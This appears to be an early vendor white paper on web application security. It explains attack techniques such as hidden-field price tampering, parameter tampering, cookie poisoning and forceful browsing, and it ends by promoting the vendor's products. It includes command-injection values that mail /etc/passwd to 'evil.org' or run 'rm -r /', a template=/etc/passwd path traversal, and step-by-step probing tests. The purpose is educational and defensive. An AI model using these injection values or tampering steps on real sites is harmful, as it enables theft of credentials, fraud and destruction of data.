PERFECTO
Technologies

Internet Application Security

Eran Reshef, Founder, Perfecto Technologies

As published on securityfocus.com

Internet Application Security

Eran Reshef, Founder, Perfecto Technologies

As published on securityfocus.com

The Problem

Providing security for eBusiness is a highly dynamic problem. The rapid evolution of applications and the numerous technologies that enable eBusiness create a quickly changing set of requirements for eBusiness security. Nowadays, the most commonly used security tools for eBusinesses are:

- Network security products, such as firewalls and intrusion detection
- Encryption and authentication tools, such as SSL and PKI.

Unfortunately, such tools have no understanding of the eBusiness application itself. Therefore, they cannot address the most important eBusiness application security challenge: how to ensure that eBusiness applications interact with end users only in ways that were intended by the application's developers.

Ensuring the integrity of interactions between end users and eBusiness applications is at the heart of application security. It is a multi-faceted problem that arises from:

1. Flaws with the design, implementation and testing of internally developed code, such as the one found in Microsoft's Hotmail and other sites.
2. Vulnerabilities found with vendor products used to provide application infrastructure, such as web servers and application servers. For example, more than 20 vulnerabilities were found in Microsoft's web server in 1999 and are documented in Securityfocus.com.
3. Misconfiguration of underlying infrastructure, such as enabling of server-side-include in web servers, or even allowing directory browsing. Click here to see Apache's security tips for server configuration.
4. Flaws with code obtained from external sources or with code that is being outsourced, such shopping cart CGIs that store price information within hidden fields. (Click here to search AltaVista for examples.)
5. Backdoors and debug options left open on purpose within the application. For example, Matt's formmail.cgi, a generic WWW form to an e-mail gateway, also can be used to pilfer the environment variables by using a debug flag ("env_report") and changing the recipient parameter.

Know the Enemy

How do hackers break into web sites at the application level? They do so mainly by using a web browser and interacting with the application and its surrounding infrastructure in

malicious ways. Here are some of the common techniques, all of which are based on real cases:

Hidden Manipulation

Hidden fields often are used to save information about the client's session, eliminating the need to maintain a complex database on the server side. A client does not normally see the hidden field and does not attempt to change it. However, modifying form fields is very simple. As an example, let's assume the price of a product is kept in a hidden field, and thus is trusted by any back-end system; a hacker can easily change it, and the invoked CGI will charge him/her for the new amount:

1. Open the html page within an HTML editor.
2. Locate the hidden field (e.g., "`<type=hidden name=price value=99.95>`")
3. Modify its content to a different value ("`<type=hidden name=price value=`**`1.00`**`>`")
4. Save the html file locally and browse it.
5. Click the "buy" button to perform electronic shoplifting via hidden manipulation.

Parameter Tampering

Failure to confirm the correctness of CGI parameters embedded inside a hyperlink can be easily used to break the site security. For example, let's take a search CGI that accepts a `template` parameter (`Search.exe?template=result.html&q=security`). By replacing the `template` parameter, a hacker can obtain access to any file he wants, such as /etc/passwd or the site's private key (`Search.exe?template=/etc/passwd&q=security).`

Cookie Poisoning

Many web applications use cookies in order to save information (user id, time stamp, etc.) on the client's machine. For example, when a user logs into many sites, a login CGI validates his user name and password and sets a cookie with his numerical identifier. When the user checks his preferences later, another CGI (say, `preferences.asp`) retrieves the cookie and displays the user information records of the corresponding user. Since cookies are not always cryptographically secure, a hacker can modify them by modifying the cookie file, thus fooling the application.

Stealth Commanding

Precarious executions in the web server, such as "eval" and "system" Perl commands, server-side includes, and SQL queries, enable hackers to plant Trojan-horses in form submissions and run malicious or unauthorized code on the web server. Take a postcard site as an example. The user fills in a postcard sending form, including the recipient name. The site then emails the recipient with the postcard. The CGI used for this purpose was written in Perl, and it had the following statement in it: `open (MAIL,`

`"|$mailprog $recipient".` It is easy to see how, by filling in the recipient field with "`hacker@evil.org</etc/passwd,`" the hacker will be mailed the password file. Shell commands can be executed as well by sending "`x;rm -r /`", deleting the entire site.

Forceful Browsing

Web servers will send any file to a user, as long as the user knows the file name and the file is not protected. Therefore, a hacker may exploit this security hole, and "jump" directly to pages. For example, :

- A registration page had an HTML comment mentioning a file named "`_private/customer.txt`". Typing "`http://www.xxx.com/_private/customer.txt`" sent back all customers' information.
- Appending "~" or ".bak" or ".old" to CGI names may send back an older version of the source code. For example, "`www.xxx.com/cgi-bin/admin.jsp~`" returns `admin.jsp` source code.

Backdoors and Debug Options

Many applications contain code left for debugging purposes, and some even contain code left by disgruntled employees. In a certain site, parameter tampering with the session token produced a page saying "we lost you, please re-login." That page presented a link for re-login which actually was a debug option. It logged in the hacker with no password required — furthermore, it logged in the hacker as the site's QA person.

Configuration Subversion

Misconfiguring web servers and application servers is a very common mistake. The most common misconfiguration is one that permits directory browsing. Hackers can utilize this feature in order to browse the application's directories (such as cgi-bin/) by simply typing in the directory name. Or, in the case of a misconfigured ColdFusion application server, accessing `/CFIDE/administrator/index.cfm` will invoke an administrator console without requiring a password.

Vendor-assisted Hacking

Because product vulnerabilities are published quickly over the web today, and because installing the latest vendor patch usually is not a high-priority issue, it almost always is possible to exploit vulnerable products.

See for Yourself

Here are three simple hacking attempts that every serious eBusiness application should be able deflect easily. Each of these attempts should fail, prompting a clear security-related message that says the site being tested was designed to anticipate such attempts. Any

other response highlights potential security loopholes that can be easily manipulated by an application hacker. Watch out for blank pages, service-not-available messages, "information not found" messages, or, one of the most serious, "program failed at line X due to error Y." These messages spell w-i-d-e o-p-e-n s-i-t-e loud and clear. Use a Netscape browser to run the following tests:

1 Basic Configuration Subversion
- Test Method:
  - Right-click on an image
  - Select "Copy Image Location" from the drop-down menu to copy the URL pointing to the image
  - Click in the location bar
  - Select Paste from the Edit menu to paste the URL in the location
  - Delete the image file name (the right-most characters until the "/") leaving only the directory name
  - Press enter to submit the URL
- Interpreting the Results:
  - Potential problems: The server responds with a page starting with "Index of" and then the images directory name, along with a list of file names
  - Secured: Any other response, such as "directory browsing denied" or "file not found"

2 Basic Parameter Tampering
- Test Method:
  - Right-click on a link, preferably one that allows you to add items to your cart or checks preferences
  - Select "Copy Link Location" from the drop-down menu to copy the URL pointing to the image
  - Click in the location bar
  - Select Paste from the Edit menu to paste the URL in the location (you may also skip the above steps and modify a URL that is already in the location bar)
  - If the URL contains parameters, they will appear as "name=value" strings, separated from one another with "&." Find a parameter, preferably one with a suspicious name, such as "price," "file," "template" or "id"
  - Modify the parameter's value:
    - For numeric parameters, try incrementing the number, decreasing the number, 0, –1, 999999999.
    - For alphanumeric parameters, try appending or replacing contents with "*" or ".." or "/" or ";" or "|"
    - Delete the value altogether
  - Press enter to submit the URL
- Example
  - URL copied: `http://www.xxx.com/buy?price=12.50&file=x.html`
  - Parameter picked: "price"

- Value modification: changing to 1.00
- Edited URL should look like:
  `http://www.xxx.com/buy?price=1.00&file=x.html`

➢ Interpreting the Results:
- Potential problems: The server responds with a page that looks funny or contains error message that has nothing to do with what you did (such as "service not available") or simply shows the wrong price.
- Secured: Clearly stated security message, such as "Unable to process request. Please call our support team for more information."

3 Basic Hidden Manipulation

➢ Test Method:
- Find a page which has a form inside, such as an "add-to-cart" or registration page
- Right-click anywhere on the page
- Select "View Source" (sometimes appears as "View Frame Source") from the drop-down menu to view the page's HTML source
- Press "control-f" to activate the search function
- Type "hidden" and press "Find Next" to look for hidden fields. It should look like "<input type="hidden" name="foo" value="bar">.
- Take a close look at the value and the name of each hidden field.
- Repeat until no more matches are found
- If you are familiar with HTML, you may modify the HTML source and submit changed requests to the site

➢ Interpreting the Results:
- Potential problems: Fields have names such as "price," "user," "password" or "template," indicating an application design flaw
- Secured: No hidden fields at all, or if some exist they should carry very little information

Manual Application Security

Until recently, the only solution for addressing all of these problems was manual application security. This is a process that spans across the entire organization and imposes its toll in each phase of running a web site.

Secure code design

Designing application functionality with security in mind leads to a more complex application and extends development time. In addition, designing a secured application requires specific expertise.

Secure code implementation

A more complex design also complicates implementation. Implementing a secured application requires the use of defensive coding, i.e. embedding checks and balances, to make sure an implementation error will not cause a security hazard. Some application servers can provide limited assistance in this area.

Testing for Loopholes

Other than functionality testing, an entirely new category of stress testing needs to be implemented. The application should be placed in hostile environments and attacked with various tests and inputs designed to expose its loopholes.

Secure Configuration

Careful attention to detail is crucial in this stage, as the configuration of each component should be checked and verified to disallow any exploit. This includes web servers, application servers, public-domain CGIs and of course, internally developed code. For example, the site administrators should configure vendor software to turn off any unsafe features, set correct permissions on every file that is accessible by the web servers, remove debug and QA features from production environment and remove default examples. When using hardened web servers, secure configuration is easier to achieve than with normal web servers.

Constant Patching

Every time a vendor or a public-domain CGI developer announces a fix for a vulnerability found, the patch should promptly be applied to the entire site. It is very hard to keep pace with the rate of the fixes, especially for large, complex sites.

Education

Educating developers, testers, site administrators and external consultants to understand and master application security is a daunting task. You will always have some novice people who are bound to make mistakes.

Code Reviews

If you happen to use a public-domain code in your application, then a code review to ensure its security properties is needed. If you are really into security, then backdoors left by your own programmers will be a real issue for you. The only way to erect those backdoors is to have a third-party advisor review all your code.

Internet Application Security

Internet Application Security products automatically secure e-Business applications "on the fly" by deducing the application-level security policy during run-time and enforcing it on each and every incoming request. *Internet Application Security* products do not require customization for each application, nor do they require upgrades every time a new bug is discovered in a third-party application.

Internet Application Security products immediately subvert application hacking attempts, such as hidden manipulation, stealth commanding, including configuration subversion and vendor-assisted hacking.

With an *Internet Application Security* solution in place, eBusinesses can devote their limited and scarce resources to their core, revenue-generating applications:

- Current and future applications can be secured immediately, requiring no change, even when security was not taken into account during design and implementation phases, and even against the use of most backdoors.
- Engineering can create simpler applications, relying on the application security infrastructure to take care of most security issues.
- Site administrators can stop worrying about constant patching and exact configurations. Vendor products that communicate using HTTP/HTTPS, such as web servers and application servers should be patched only when extra functionality is needed, not for security. A hacker cannot exploit their weakness.
- Third-party code can be used seamlessly, without worrying about potential backdoors or other security issues.

More Information

1. Perfecto Technologies, the Internet application security company.
2. The World Wide Web Security FAQ by Lincoln D. Stein
3. NT Web Technology Vulnerabilities from Phrack Magazine
4. Perl CGI problems from Phrack Magazine
5. Writing secure CGI scripts for WWW servers
6. The Unofficial Web Hack FAQ by Simple Nomad